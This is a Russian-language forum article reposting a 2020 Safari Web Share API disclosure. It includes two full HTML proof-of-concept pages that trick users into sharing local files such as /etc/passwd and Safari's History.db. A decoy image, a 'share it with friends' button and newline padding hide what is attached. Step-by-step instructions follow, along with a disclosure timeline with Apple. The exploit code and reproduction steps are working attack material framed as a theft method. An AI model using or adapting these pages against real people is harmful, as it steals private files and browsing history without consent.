What's new

Article Кража локальных файлов с помощью Safari Web Share API

Vander 0

Vander

Staff member
Nov 10, 2019
468
1,158
Приветствую уважаемую аудиторию форума Protey!​

В этой статье описан метод кражи содержимого локальных файлов пользователей MacOS и iOS, предлагаю заглянуть в историю браузера и прочесть файл /etc/passwd.

iPhone-Hack-1280x720.jpg

Описание:

Web Share API [https://w3c.github.io/web-share/] позволяет пользователям обмениваться ссылками из браузера через сторонние приложения (например, почту и приложения для обмена сообщениями). Проблема в том, что схема file: разрешена, и когда веб-сайт указывает на URL-адрес, которым целевое устройство намерено поделиться, происходит неожиданное поведение.

В случае, если такая ссылка передается в функцию navigator.share, фактический файл из файловой системы пользователя включается в совместно используемое сообщение, что приводит к раскрытию локального файла, когда пользователь неосознанно делится им.

Проблема не очень серьезная, поскольку требуется взаимодействие с пользователем, однако сделать общий файл невидимым для пользователя довольно легко. Самое близкое сравнение, которое приходит на ум, - это clickjacking, когда мы пытаемся убедить ничего не подозревающего пользователя выполнить какое-либо действие.

Подготовка:

Для начала потребуется контент, которым пользователь поделится в письме или в мессенджере, для тестов возьмем картинку.

Размещаем её на своем веб сервере, предварительно создав в папке с картинкой файл в формате HTML со следующим содержимым:

1599064197979.png

Code:
<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/unicorn.png\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///etc/passwd'};

function run() {
    navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>
Ниже приведены шаги по воспроизведению проблемы:
  • Заходим на наш сайт https://mydomain/webshare/poc1.html, используя Safari или Mobile Safari
  • Нажмите «Share it with friends!»
  • Выберите способ (например, почта, сообщения)
  • «Send it» или «Share it» (или просто проверьте то, что было прикреплено)
  • Получателю был отправлен локальный /etc/passwd
1599065479594.png

Нажимаем "Поделиться" и выберем, к примеру, сообщение на почту:

1599068317115.png

Отправив сообщение на выбранный почтовый ящик, откроем письмо от целевого устройства:

1599068415406.png

Сохраняем файл passwd, и открываем его в редакторе:

1599068602118.png

Результат, на мой взгляд вполне удовлетворительный.

Попробуем подсмотреть историю посещений браузера:

Немного изменим исходный код poc1.html:

Code:
<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/unicorn.png\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///private/var/mobile/Library/Safari/History.db'};

function run() {
    navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>
Добавив:

Code:
file:///private/var/mobile/Library/Safari/History.db
Проделываем те же шаги, что и в предыдущем примере и на почту получаем файл с расширением .db.

1599070076244.png

Сохраняем себе локально и открываем с помощью DB Browser SQLite:

1599070263297.png

В результате, мы получаем всю историю посещений пользователя.

C MacOS такой трюк тоже работает без проблем.

Небольшая видео демонстрация работы метода:

Затронутое программное обеспечение:

Это было протестировано на iOS (13.4.1, 13.6.1), macOS Mojave 10.14.16 с Safari 13.1 (14609.1.20.111.8) и на macOS Catalina 10.15.5 с Safari 13.1.1 (15609.2.9.1.2).

На сегодняшний день (02.09.2020) исправления нет.

График раскрытия информации:
  • 17.04.2020 - Обнаружена проблема, о которой было сообщено в Apple
  • 21/04/2020 - Отчет подтвержден Apple, сообщая, что они расследуют проблему
  • 22.04.2020 - Отправлен обновленный отчет, содержащий небольшое уточнение
  • 28.04.2020 - Запрос об обновлении статуса
  • 29.04.2020 - Получен ответ, что отчет анализируется
  • 05.11.2020 - Запросили обновление статуса
  • 13/05/2020 - Apple ответила, что они все еще исследуют проблему и не имеют обновлений по этой проблеме.
  • 06.11.2020 - Запрошен об обновлении статуса, ответа нет
  • 07.02.2020 - Запрошен об обновлении статуса, ответа нет
  • 13.07.2020 - Запрошен об обновлении статуса, нет ответа
  • 21.07.2020 - Запрошен об обновлении статуса и о том, нужно ли Apple больше времени для решения проблемы, поскольку я сообщил, что намерен опубликовать информацию по этому делу после 24.07.2020, если не будет ответа/ возражений со стороны Apple сделать это общедоступным.
  • 23.07.2020 - Apple ответила, что ведет расследование и свяжется с ней, как только у них будет обновление
  • 08.02.2020 - Запрос на обновление статуса и объявленное раскрытие информации будет 24.08.2020
  • 14.08.2020 - Apple ответила, прося не публиковать подробности, поскольку они планируют решить проблему в обновлении безопасности весной 2021 года.
  • 17.08.2020 - Ответили, что ждать с раскрытием информации еще почти год, а с момента сообщения о проблеме прошло уже 4 месяца, нецелесообразно
  • 24.08.2020 - Опубликован пост - https://blog.redteam.pl/2020/08/stealing-local-files-using-safari-web.html?m=1
  • 02.09.2020 - Опубликован пост на protey.net
Спасибо за внимание, материал подготовлен специально для protey.net
 
Last edited:
Top Bottom